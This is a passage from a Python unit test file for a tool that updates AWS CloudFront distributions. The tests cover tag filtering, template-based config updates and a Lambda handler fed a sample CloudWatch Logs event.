self.assertEqual(expected, tags)
def testGetTagsFromDistributionConfig(self):
distributionConfig = {u'Comment': u'DistributionComment (SOMEKEY=AVALUE,OTHERKEY=SOMETHINGELSE)'}
expected = {'somekey': 'avalue', 'otherkey': 'somethingelse'}
tags = cloudfront_distribution_updater.tags_from_distribution_config(distributionConfig)
self.assertEqual(expected, tags)
def testDistributionConfigMatchesTags_no_match(self):
distribution_config = {u'Comment': u'DistributionComment (KEY1=VALUE1,KEY2=VALUE2)'}
expected = False
matches = cloudfront_distribution_updater.distribution_config_matches_tags(distribution_config, with_tags=[('key3','value3')])
self.assertEqual(expected, matches)
def testDistributionConfigMatchesTags_with_tag_match(self):
distribution_config = {u'Comment': u'DistributionComment (KEY1=VALUE1,KEY2=VALUE2)'}
expected = True
matches = cloudfront_distribution_updater.distribution_config_matches_tags(distribution_config, with_tags=[('key1','value1')])
self.assertEqual(expected, matches)
def testDistributionConfigMatchesTags_without_tag_exclude(self):
distribution_config = {u'Comment': u'DistributionComment (KEY1=VALUE1,KEY2=VALUE2)'}
expected = False
matches = cloudfront_distribution_updater.distribution_config_matches_tags(distribution_config, with_tags=[('key1','value1')], without_tags=[('key2','value2')])
self.assertEqual(expected, matches)
def testDistributionConfigMatchesTags_without_tag_miss(self):
distribution_config = {u'Comment': u'DistributionComment (KEY1=VALUE1,KEY2=VALUE2)'}
expected = True
matches = cloudfront_distribution_updater.distribution_config_matches_tags(distribution_config, with_tags=[('key1','value1')], without_tags=[('key3','value3')])
self.assertEqual(expected, matches)
def testFilterDistributions_match_one_exclude_one(self):
example_distributions = [
{u'Comment': ''},
{u'Comment': 'Some distribution (IRRELEVANT_KEY=SOMEVALUE)'},
{u'Comment': 'Other distribution (SOMEOTHER_KEY=OTHERVALUE)'},
{u'Comment': 'This distribution (ENV=TEST)'},
{u'Comment': 'Template Distribution (TEMPLATE=TRUE,ENV=TEST)'}
]
expected = [{u'Comment': 'This distribution (ENV=TEST)'}]
distributions = cloudfront_distribution_updater.filter_distributions(example_distributions, with_tags=[('env','test')], without_tags=[('template','true')])
self.assertEqual(expected, distributions)
def testFilterDistributions_match_two(self):
example_distributions = [
{u'Comment': ''},
{u'Comment': 'Some distribution (IRRELEVANT_KEY=SOMEVALUE)'},
{u'Comment': 'Other distribution (SOMEOTHER_KEY=OTHERVALUE)'},
{u'Comment': 'This distribution (ENV=TEST)'},
{u'Comment': 'Template Distribution (TEMPLATE=TRUE,ENV=TEST)'}
]
expected = [{u'Comment': 'Template Distribution (TEMPLATE=TRUE,ENV=TEST)'}]
distributions = cloudfront_distribution_updater.filter_distributions(example_distributions, with_tags=[('env','test'),('template','true')])
self.assertEqual(expected, distributions)
def testDistributionConfigFromDistribution(self):
distribution = self.create_sample_distribution()
caller_reference_time = 1420070400
expected_distribution = self.create_sample_distribution()
del expected_distribution["Status"]
del expected_distribution["LastModifiedTime"]
del expected_distribution["DomainName"]
del expected_distribution["Id"]
expected_distribution['CallerReference'] = str(caller_reference_time)
with mock.patch('time.time') as mock_time:
mock_time.return_value = caller_reference_time
result = cloudfront_distribution_updater.distribution_config_from_distribution(distribution)
self.assertEqual(expected_distribution, result)
def testUpdateDistributionWithTemplateDistribution(self):
template_distribution = self.create_sample_distribution()
distribution = self.create_empty_distribution()
expected = {
u'Id': 'EMPTYXXXXXXXXX',
u'Status': 'Deployed',
u'LastModifiedTime': datetime.datetime(2015, 1, 1),
u'DomainName': 'empty.cloudfront.net',
u'Aliases': {
u'Items': [],
u'Quantity': 0
},
u'Origins': {
u'Quantity': 2,
u'Items': [
{
u'Id': u'Custom-example-origin.example.com',
u'DomainName': u'example-origin.example.com',
u'OriginPath': u'',
u'CustomOriginConfig': {
u'HTTPPort': 80,
u'HTTPSPort': 443,
u'OriginProtocolPolicy': u'match-viewer'
}
},
{
u'Id': u'Custom-example-origin-2.example.com',
u'DomainName': u'example-origin-2.example.com',
u'OriginPath': u'',
u'CustomOriginConfig': {
u'HTTPPort': 80,
u'HTTPSPort': 443,
u'OriginProtocolPolicy': u'http-only'
}
}
]
},
u'DefaultCacheBehavior': {
u'TargetOriginId': 'Custom-example-origin.example.com',
u'ForwardedValues': {
u'Cookies': {
u'Forward': 'whitelist',
u'WhitelistedNames': {
u'Items': [
'cookie1',
'cookie2'
],
u'Quantity': 2
}
},
u'Headers': {
u'Items': [
'Header1',
'Host'
],
u'Quantity': 1
},
u'QueryString': True
},
u'AllowedMethods': {
u'CachedMethods': {
u'Items': [
'HEAD',
'GET'
],
u'Quantity': 2
},
u'Items': [
'HEAD',
'DELETE',
'POST',
'GET',
'OPTIONS',
'PUT',
'PATCH'
],
u'Quantity': 7
},
u'DefaultTTL': 0,
u'MaxTTL': 0,
u'MinTTL': 0,
u'SmoothStreaming': False,
u'TrustedSigners': {
u'Enabled': False, u'Quantity': 0
},
u'ViewerProtocolPolicy': 'allow-all'
},
u'CacheBehaviors': {
u'Items': [
{
u'AllowedMethods': {
u'CachedMethods': {
u'Items': [
'HEAD',
'GET'
],
u'Quantity': 2
},
u'Items': [
'HEAD',
'GET',
'OPTIONS'
],
u'Quantity': 3
},
u'DefaultTTL': 86400,
u'ForwardedValues': {
u'Cookies': {
u'Forward': 'none'
},
u'Headers': {
u'Quantity': 0
},
u'QueryString': True
},
u'MaxTTL': 31536000,
u'MinTTL': 0,
u'PathPattern': '/res/*',
u'SmoothStreaming': False,
u'TargetOriginId': 'Custom-example-origin-2.example.com',
u'TrustedSigners': {
u'Enabled': False,
u'Quantity': 0
},
u'ViewerProtocolPolicy': 'allow-all'
}
],
u'Quantity': 1
},
u'Comment': '',
u'CustomErrorResponses': {
u'Items': [],
u'Quantity': 0
},
u'Enabled': False,
u'PriceClass': 'PriceClass_All',
u'Restrictions': {
u'GeoRestriction': {
u'Quantity': 0,
u'RestrictionType': 'none'
}
},
u'ViewerCertificate': {
u'CloudFrontDefaultCertificate': True,
u'MinimumProtocolVersion': 'SSLv3'
},
u'WebACLId': 'de305d54-75b4-431b-adb2-eb6b9e546014'
}
self.maxDiff = None
cloudfront_distribution_updater.update_distribution_object_with_template_distribution_object(distribution,template_distribution)
self.assertEqual(expected, distribution)
def testGetDistributions(self):
example_distributions = {u'DistributionList': {u'IsTruncated': False,
u'Items': [
{u'Comment': ''},
{u'Comment': 'Some distribution (IRRELEVANT_KEY=SOMEVALUE)'},
{u'Comment': 'Other distribution (SOMEOTHER_KEY=OTHERVALUE)'},
{u'Comment': 'This distribution (ENV=TEST)'},
{u'Comment': 'Template Distribution (TEMPLATE=TRUE,ENV=TEST)'}
],
u'Marker': '',
u'MaxItems': 100,
u'Quantity': 5},
'ResponseMetadata': {'HTTPStatusCode': 200,
'RequestId': '0c0dfb80-9ba5-11e5-b122-9bd96824993f'}
}
expected = [
{u'Comment': ''},
{u'Comment': 'Some distribution (IRRELEVANT_KEY=SOMEVALUE)'},
{u'Comment': 'Other distribution (SOMEOTHER_KEY=OTHERVALUE)'},
{u'Comment': 'This distribution (ENV=TEST)'},
{u'Comment': 'Template Distribution (TEMPLATE=TRUE,ENV=TEST)'}
]
with mock.patch('cloudfront_distribution_updater.cf_client.list_distributions') as mock_method:
mock_method.return_value = example_distributions
distributions = cloudfront_distribution_updater.get_distributions()
self.assertEqual(expected, distributions)
def testLambdaHandler(self):
event = {"awslogs": {"data": "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"}}
cloudfront_distribution_updater.lambda_handler(event, None)
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | 37.771529 | 2,069 | 0.525172 | 1,603 | 21,492 | 6.937617 | 0.199002 | 0.031562 | 0.018883 | 0.020772 | 0.620897 | 0.58439 | 0.564428 | 0.555256 | 0.527021 | 0.515601 | 0 | 0.043091 | 0.367253 | 21,492 | 569 | 2,070 | 37.771529 | 0.774689 | 0.02829 | 0 | 0.664634 | 0 | 0.002033 | 0.349066 | 0.159655 | 0 | 1 | 0 | 0 | 0.026423 | 1 | 0.03252 | false | 0 | 0.00813 | 0.004065 | 0.046748 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.